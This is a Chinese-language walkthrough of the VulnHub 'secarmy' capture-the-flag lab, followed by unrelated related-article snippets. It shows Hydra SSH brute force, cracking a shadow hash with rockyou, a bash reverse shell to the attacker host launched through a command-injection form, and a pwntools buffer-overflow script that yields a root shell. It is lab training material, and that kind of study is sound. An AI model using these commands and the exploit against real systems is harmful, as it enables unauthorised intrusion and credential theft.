当前位置: 首页 > article >正文

vulnhub靶场——secarmy

靶机:secarmy靶机,IP地址为192.168.230.18

攻击:kali,IP地址为192.168.230.134

靶机和攻击机都采用VMware虚拟机,都采用NAT模式


端口扫描:

nmap 192.168.230.18 -O -A -p- --reason -sV

21/tcp (ftp): 开放的FTP服务,运行的是vsftpd 2.0.8或更新版本。并且允许匿名登录。

22/tcp (ssh): 开放的SSH服务,使用OpenSSH 7.6p1 Ubuntu 4ubuntu0.3版本。提供了RSA、ECDSA和ED25519三种类型的公钥指纹。

80/tcp (http): 开放的HTTP服务,使用Apache httpd 2.4.29版本。网站标题为“Totally Secure Website”,暗示可能是一个测试环境或者故意设置的不安全示例。

1337/tcp: 这个端口开放的服务未能被准确识别(标记为waste?),但是从返回的数据中可以推测出它可能是某种密码恢复设施接口。尝试与之交互时,它要求提供一个“超级秘密令牌”才能继续。


FTP信息探测:

先匿名登录ftp,无密码直接Enter回车就行:

ftp anonymous@192.168.230.18

anonymous是匿名方式登录

pwd

ls -la

发现没有任何目录和文件,无结果


80端口探测:

提到了80端口开放的HTTP服务,先进入网站看看:

http://192.168.230.18


使用whatweb识别网站配置:

whatweb http://192.168.230.18 -v


用dirsearch扫不出来隐藏目录,换成gobuster,查找隐藏的php、html、txt、zip文件:

gobuster dir -u http://192.168.230.18 -w /home/kali/Desktop/test/dic/directory-list-2.3-big.txt -x php,html,txt,zip

字典太大了,不用跑完也行,但能看出有个/anon目录


访问http://192.168.230.18/anon

查看源代码:

得到uno:luc10r4m0n


将这一组凭证保存下来,放置在文件test.txt中,使用hydra进行验证这一组凭证,因为有先前的两个端口21/ftp和22/ssh

hydra -C test.txt 192.168.230.18 ftp

hydra -C test.txt 192.168.230.18 ssh

可以看到ftp服务和ssh服务都能登录


FTP登录:

ftp uno@192.168.230.18

看到有个flag1.txt和readme.txt,先下载下来

get flag1.txt

get readme.txt

得知:

flag1{fb9e88}

要获取第二个用户名,密码已经知道是4b3l4rd0fru705


用户名爆破:

使用ssh服务:

ssh uno@192.168.230.18


查看当前系统有什么用户:

ls -l /home

cat /etc/passwd | grep /bin/bash


打印出有执行权限的用户名:

cat /etc/passwd | grep /bin/bash | awk -F':x' '{print $1}'

另存为users.txt文件,并继续爆破

hydra -L users.txt -p 4b3l4rd0fru705 192.168.230.18 ssh

得知第二个用户是dos:4b3l4rd0fru705


grep妙用与编码处理:

用第二个用户进行ssh登录:

ssh dos@192.168.230.18

ls -la

cat readme.txt


使用grep -l命令在files文件夹里查找字符串:

(grep -l是只返回文件名,不返回其他)

grep -l "a8211ac1853a1235d48829414626512a" files/*

cat files/file4444.txt后看到文件末尾有提示“Look inside file3131.txt”

cd files

cat file3131.txt


放随波逐流和赛博厨师里看看:

发现是个zip文件而且经过base64编码


将其输出成1.zip,并解压:

echo '***' | base64 -d > 1.zip

unzip 1.zip

得知:

flag2{624a21}

secret token:

c8e6afe38c2ae9a0283ecfb4e1b7c10f7d96e54c39e727d0e5515ba24a4d1f1b

提到WASTE和token,一般都是nc连接才用得到(之前做过中科大hackergame2024时遇到过需要输入token),而且对应上先前的1337/waste,下一步应该就是nc连接了


1337端口测试:

nc连接输入token:

nc 192.168.230.18 1337

显示第三个用户是tres:r4f43l71n4j3r0


继续ssh连接:

ssh tres@192.168.230.18

得知:

flag3{ac66cf}

看来下一步就是需要逆向secarmy-village文件了


strings查看与UPX解壳:

先将secarmy-village下载下来:

scp tres@192.168.230.18:/home/tres/secarmy-village /home/kali/Desktop/test/dic/


查壳发现有个UPX壳:

upx -d E:\downloads\secarmy-village

成功脱除UPX壳


再上传脱壳后的secarmy-village文件,用strings查看:

strings secarmy-village | grep user

(根据先前的经验一般都是有user等关键词)

得知用户名及密码:

cuatro:p3dr00l1v4r3z


继续ssh连接:

ssh cuatro@192.168.230.18

得知:

flag4{1d6b06}

访问/justanothergallery路径来查看这些图片


二维码批量解析:

访问http://192.168.230.18/justanothergallery

发现是一堆二维码图片


先下载全部的二维码:

wget -r -A.png http://192.168.230.18/justanothergallery

-r:递归地下载网页

-A:指定.png文件下载


压缩为qr.zip文件,并下载到本机上:

tar zcvf qr.zip qr


再用QR_Research来一个个扫码:

最后在image-53.png扫出用户名和密码:cinco:ruy70m35


继续ssh连接:

ssh cinco@192.168.230.18

得知:

flag5{b1e870}

寻找Cinco用户的秘密空间,在主目录之外


hash暴力破解:

查找所有属于用户cinco的文件或目录:

find / -user cinco 2>/dev/null

找到关键词“secret”,进入该目录,赋予shadow.bak权限并查看该文件内容:

ROCKYOU?有点懵,先看到一串特别长的字符串:

seis:$6$MCzqLn0Z2KB3X3TM$opQCwc/JkRGzfOg/WTve8X/zSQLwVf98I.RisZCFo0mTQzpvc5zqm/0OJ5k.PITcFJBnsn7Nu2qeFP8zkBwx7.:18532:0:99999:7:::

问问AI,发现是用户seis的加密密码


先将shadow.bak文件下载下来:

scp cinco@192.168.230.18:/cincos-secrets/shadow.bak /home/kali

经了解有个rockyou.txt的字典文件,可以用join来配合进行爆破:

john --wordlist=rockyou.txt shadow.bak

爆出来用户名及密码:

seis:Hogwarts


继续ssh连接:

ssh seis@192.168.230.18

得知:

flag6{779a25}


常见的网站路径及命令执行漏洞:

访问网页,发现是个Shell CMS:

http://192.168.230.18/shellcmsdashboard

先用dirsearch扫描一下,扫出来有个robots.txt文件:

dirsearch -u "http://192.168.230.18/shellcmsdashboard" -e*

访问之后看到直接给出用户名及密码admin/qwerty:

登录之后提示去访问/aabbzzee.php:


访问后发现有个输入框:

能够执行ls命令,但想要执行cat readme9213.txt时却没有反应:

接下来可以直接burp爆破一下哪些命令可以执行,但按照经验先进行一下bash反弹shell:

nc -lvvp 9999

bash -c "bash -i >& /dev/tcp/192.168.230.134/9999 0>&1"

得知第七个用户的密码是6u1l3rm0p3n473,但是不知道用户名是什么


根据先前的经验,继续用hydra爆破:

hydra -L users.txt -p 6u1l3rm0p3n473 192.168.230.18 ssh

爆出用户名及密码:

siete:6u1l3rm0p3n473


base系列的位运算:

继续ssh连接:

ssh siete@192.168.230.18

得知flag和一堆文件:

flag7{d5c26a}


直接将所有东西下载下来再看:

ftp siete@192.168.230.18

mget *

password.zip需要解压密码

根据hint.txt的提示,Base 10和Base 256进行某种运算结果是Base 265,这里应该是提示进行位运算

根据message.txt的内容,应该是原始数据

根据key.txt的内容,应该是与x进行位运算

不是很懂,还是让AI来分析一下:

def decrypt_message():# 从message.txt获取的数字序列numbers = [11, 29, 27, 25, 10, 21, 1, 0, 23, 10, 17, 12, 13, 8]# 从key.txt获取的密钥key = ord('x')# 将数字转换为字节并应用XOR解密decrypted = bytes([n ^ key for n in numbers])# 输出解密结果print(f"解密后的密码: {decrypted.decode('utf-8')}")if __name__ == "__main__":decrypt_message()

得知解压密码是:secarmyxoritup


unzip password.zip,成功解压password.zip文件得到password.txt文件:

得知下一个用户的密码是m0d3570v1ll454n4


继续用hydra爆破:

hydra -L users.txt -p m0d3570v1ll454n4 192.168.230.18 ssh

爆出用户ocho:m0d3570v1ll454n4


流量包分析与键盘密码:

继续ssh连接:

ssh ocho@192.168.230.18

得知:

flag8{5bcf53}

将keyboard.pcapng下载下来:

scp ocho@192.168.230.18:/home/ocho/keyboard.pcapng /home/kali/Desktop/test/dic/


wireshark打开,http.request.method==GET,发现none.txt出现多次,追踪http流:

报文内容太长了,让AI分析一下可疑的地方:

直接找出来了:"mjwfr?2b6j3a5fx/"


去keyboard网站解密:https://www.dcode.fr/keyboard-shift-cipher

解出用户名及密码:

nueve:355u4z4rc0


继续ssh连接:

ssh nueve@192.168.230.18

得知:

flag9{689d3e}


应该是要通过orangutan来进行提权?用strings分析一下,发现关键词:

看来是CTF里的pwn啊,先下载下来

ftp nueve@192.168.230.18

get orangutan


检查附件的保护方式,发现是64位程序,开启了NX保护:

checksec orangutan


用IDA打开,shift+F12发现“/bin/sh”:

到这里不会了,pwn不熟悉,直接看国外的WP了

from pwn import *
offset = b"A" * 24
secret = b"\xbe\xba\xfe\xca"
payload = offset + secret
conn = remote('192.168.230.18',8000)
print(conn.recvline())
print(conn.recvline())
conn.sendline(payload)
conn.interactive()

先在靶机运行:socat TCP-LISTEN:8000,fork EXEC:./orangutan

再在kali上运行:python test.py

cd /root

ls -la

cat root.txt

得知:

flag10{33c9661bfd}


总结:

flag1{fb9e88}

flag2{624a21}

flag3{ac66cf}

flag4{1d6b06}

flag5{b1e870}

flag6{779a25}

flag7{d5c26a}

flag8{5bcf53}

flag9{689d3e}

flag10{33c9661bfd}

相关文章:

vulnhub靶场——secarmy

靶机:secarmy靶机,IP地址为192.168.230.18 攻击:kali,IP地址为192.168.230.134 靶机和攻击机都采用VMware虚拟机,都采用NAT模式 端口扫描: nmap 192.168.230.18 -O -A -p- --reason -sV 21/tcp (ftp): 开…...

labview硬件采集

(1)硬件的描述 (2)实验步骤1: (3)实验步骤2 库名/路径的选择要使用32位的开发资料 (4)实验步骤3 (5)实验步骤4 找到DoSetV12() 设置返回类型 设置chan 设置state labv…...

openfeign与dubbo调用下载excel实践

一、前言 openfeign和dubbo均是rpc框架 RPC(Remote Procedure Call,远程过程调用)框架 是一种允许程序像调用本地方法一样调用远程服务器上函数的技术。它隐藏了底层网络通信的复杂性,让开发者可以专注于业务逻辑,实现…...

ISP有感自发

一、黑电平 由于传感器,即便在无光的情况下,依然会产生微小的暗电流,这些暗电流可能是噪点会影响后期的调试。因此,我们便将这些电流处理为0,成为纯黑的颜色。可以在源头消除这些误差。 如何矫正黑电平: …...

web 自动化之 PO 设计模式详解

文章目录 一、什么是 POM二、如何基于 POM 进行自动化框架架构?1、base 层封装2、pageobjects 层封装3、TestCases 层封装 三、元素和方法分离&数据分离1、哪些部分可以进行分离2、示例代码 四、总结 一、什么是 POM POM page object model 页面对象模型 WEB 自…...

NVMe简介1

它分为两部分,这里是第一部分。 NVM Express(NVMe)是一种高性能、可扩展的接口协议,用于通过PCI express(PCIe)总线,实现主机软件与NVM设备之间的通信。目前,由于NVMe SSD相比于SATA…...

【python机器学习】Day 25 异常处理

知识点: 异常处理机制debug过程中的各类报错try-except机制try-except-else-finally机制 在即将进入深度学习专题学习前,我们最后差缺补漏,把一些常见且重要的知识点给他们补上,加深对代码和流程的理解。 借助ai写代码的时候&…...

数学建模初等模型应用

一、目的 掌握初等模型的建模方法,对简单的初等模型能借助Matlab工具软件进行辅助建模、求解和检验。 二、实验内容与设计思想(设计思路、主要代码分析) 1、预测鱼的质量 (1)设计思路:使用线性回归模型预测鱼的质量…...

占位符读取标准输入缓冲区规则

1、如果标准输入缓冲区中的前若干个字符都是空白字符,%s,%d,%f都能直接跳过并且从第一个非空白字符开始读取,但%c不能,而是直接读取。 2、%s遇到空白字符时停止,不会读取遇到的空白字符。 3、%d遇到非数字…...

【MCP教程系列】SpringBoot 搭建基于 Spring AI 的 SSE 模式 MCP 服务

原文地址:https://developer.aliyun.com/article/1662946 在当今快速发展的AI技术背景下,如何高效地集成模型能力成为开发者关注的重点。本文将手把手教你如何基于 Spring AI 搭建支持 SSE(Server-Sent Events)模式的 MCP 服务 相…...

【kafka】kafka概念,使用技巧go示例

1. Kafka基础概念 1.1 什么是Kafka? Kafka是一个分布式流处理平台,用于构建实时数据管道和流式应用。核心特点: 高吞吐量:每秒可处理百万级消息持久化存储:消息按Topic分区存储在磁盘分布式架构:支持水平…...

利用散点图探索宇航员特征与太空任务之间的关系

利用散点图探索宇航员特征与太空任务之间的关系 import matplotlib.pyplot as plt import numpy as np import pandas as pdfrom flexitext import flexitext from matplotlib.patches import FancyArrowPatchplt.rcParams.update({"font.family": "Corbel&quo…...

Ubuntu 命令行显示中文输出信息

Ctrl Alt T 打开终端命令行, 输入命令: sudo apt-get install language-pack-zh-hans安装中文语言支持包 sudo apt-get install language-pack-zh-hans-base配置环境变量 sudo vim /etc/profile进入文件后,按下 a 进入编辑模式,shift ↓ \downarr…...

Linux文件编程——read函数与lseek函数

一、read函数 在 Linux 文件编程中,read 函数是一个系统调用,用于从文件描述符(File Descriptor)指向的文件或设备中读取数据到缓冲区。它是 Unix/Linux 系统编程中实现底层 I/O 操作的核心函数之一。以下是 read 函数的详细使用…...

[思维模式-38]:看透事物的关系:什么是事物的关系?事物之间的关系的种类?什么是因果关系?如何通过数学的方式表达因果关系?

一、什么是事物的关系? 事物的关系是指不同事物之间存在的各种联系和相互作用,它反映了事物之间的相互依存、相互影响、相互制约等特性。以下从不同维度为你详细阐述: 1、关系的类型 因果关系 定义:一个事件(原因&a…...

【2025.5.12】视觉语言模型 (更好、更快、更强)

【2025.5.12】Vision Language Models (Better, Faster, Stronger): https://huggingface.co/blog/vlms-2025 【2024.4.11】Vision Language Models Explained【先了解视觉语言模型是什么】: https://huggingface.co/blog/vlms nanoVLM: https://github.…...

Spring的bean的生命周期?

Spring中bean的生命周期包括以下步骤: 通过BeanDefinition获取bean的定义信息。 调用构造函数实例化bean。 进行bean的依赖注入,例如通过setter方法或Autowired注解。 处理实现了Aware接口的bean。 执行BeanPostProcessor的前置处理器。 调用初始化…...

Qwen集成clickhouse实现RAG

一、RAG概要 RAG(Retrieval-Augmented Generation,检索增强生成) 是一种结合了信息检索技术与语言生成模型的人工智能技术。旨在通过检索相关文档来增强大模型的生成能力,从而提高预测的质量和准确性。RAG模型在生成文本或回答…...

Excel分组计算求和的两种实现方案

文章目录 背景样例数据方案一、函数求和实现步骤缺点 方案二、数据透视表实现步骤优点 背景 在Excel文档中,经常会进行数据的求和计算,可使用不同的方式实现,记录下来,方便备查。 样例数据 已有商品销量信息,包含销…...

深入理解卷积神经网络:从基础原理到实战应用

在人工智能领域,卷积神经网络(Convolutional Neural Network,简称 CNN)凭借其强大的图像识别、处理能力,成为深度学习中不可或缺的技术。无论是自动驾驶汽车识别道路标志,还是医学影像分析辅助疾病诊断&…...

LLM定制新路径:微调与上下文学习的博弈与融合

在当今人工智能的浪潮中,大型语言模型(LLMs)已成为推动行业进步的关键力量。无论是自然语言处理、文本生成还是多模态应用,LLMs都在展现着它们的强大能力。然而,当我们将这些强大的模型应用于特定的下游任务时&#xf…...

【江苏省】《信息技术应用创新软件适配改造成本评估规范》(DB32/T 4935-2024)-标准解读系列

在信息技术应用创新产业蓬勃发展的当下,软件适配改造成本评估成为项目实施的关键环节。《DB32/T 4935-2024 信息技术应用创新软件适配改造成本评估规范》应运而生,为成本评估提供了专业依据。同时,《省级政务信息化项目建设方案编制规范&…...

JDK 命令行工具大全与学习方法总结 —— 从帮助文档到高效实践

JDK 命令行工具大全与学习方法总结 —— 从帮助文档到高效实践 Java开发与运维过程中,JDK自带的命令行工具是定位问题、性能调优、编译调试的基石。本文全面梳理JDK常用命令工具、帮助文档的获取方式,并总结类似Linux命令行的学习方法,助你系…...

嵌入式中深入理解C语言中的指针:类型、区别及应用

在嵌入式开发中,C语言是一种基础且极为重要的编程语言,其中指针作为一个非常强大且灵活的工具,广泛应用于内存管理、动态数据结构的实现以及函数参数的传递等方面。然而,尽管指针的使用极为常见,很多开发者在掌握其基本使用后,往往对指针的深入理解还不够。本文将深入分析…...

香港维尔利健康科技集团成都区域运营中心投入使用,西南市场战略全面提速

近日,香港维尔利健康科技集团正式宣布,其位于四川成都的西南区域运营中心已全面建成并投入使用。该中心将集设备调配、技术支持、客户服务、运营管理及数字健康平台维护于一体,成为集团在中国内地智慧医疗战略版图中的关键枢纽,对…...

STM32CubeMX HAL库 串口的使用

1.配置 2.开启中断后,生成代码 3.串口的接收 1).开启空闲中断接收 __HAL_UART_ENABLE_IT(huart, UART_IT_IDLE); // 关键步骤:启用空闲中断 2). 启动接收 调用 HAL_UARTEx_ReceiveToIdle_IT 启动异步接收,可以使用…...

二手车估值接口介绍

二手车估值接口是基于大数据和机器学习技术开发的工具,旨在为二手车交易、金融评估等场景提供快速、精准的车辆价值评估服务。以下从核心功能、技术原理、接口特点及应用场景等方面进行综合介绍: 一、核心功能 多维度数据采集与分析 接口整合了车辆基础…...

flutter 视频通话flutter_webrtc

flutter 比较热门的库 flutter_webrtc | Flutter package agora_rtc_engine | Flutter package 我使用的是flutter_webrtc 下面是官方推荐的demo库 GitHub - flutter-webrtc/flutter-webrtc-demo: Demo for flutter-webrtc 其中 https://demo.cloudwebrtc.com:8086/ 已经停…...

Babylon.js学习之路《四、Babylon.js 中的相机(Camera)与视角控制》

文章目录 1. 引言:为什么相机是 3D 场景的“眼睛”?1.1 相机的核心作用1.2 常见相机类型概览 2. 相机基础参数解析2.1 通用属性2.2 相机坐标系 3. 详解常用相机类型3.1 自由相机(FreeCamera)3.2 弧形旋转相机(ArcRotat…...

【Redis实战篇】秒杀优化

1. 秒杀优化-异步秒杀思路 我们来回顾一下下单流程 当用户发起请求,此时会请求nginx,nginx会访问到tomcat,而tomcat中的程序,会进行串行操作,分成如下几个步骤 1、查询优惠卷 2、判断秒杀库存是否足够 3、查询订单…...